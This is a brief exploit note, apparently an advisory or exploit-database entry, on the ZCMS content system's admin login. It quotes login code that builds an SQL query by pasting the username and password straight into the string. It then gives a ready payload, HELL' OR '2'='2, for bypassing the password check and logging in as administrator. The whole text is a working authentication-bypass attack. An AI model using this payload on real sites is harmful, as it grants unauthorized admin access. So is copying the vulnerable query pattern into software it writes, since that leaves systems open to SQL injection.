ZCMS exploitable admin login code: ================================== squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users WHERE status = 0 AND username = '"+username+"' AND password = '"+request.getParameter("pass") +"' AND type = 1 ;"; So we just supply an Admin password like ---> HELL' OR '2'='2 which will resolve as true!
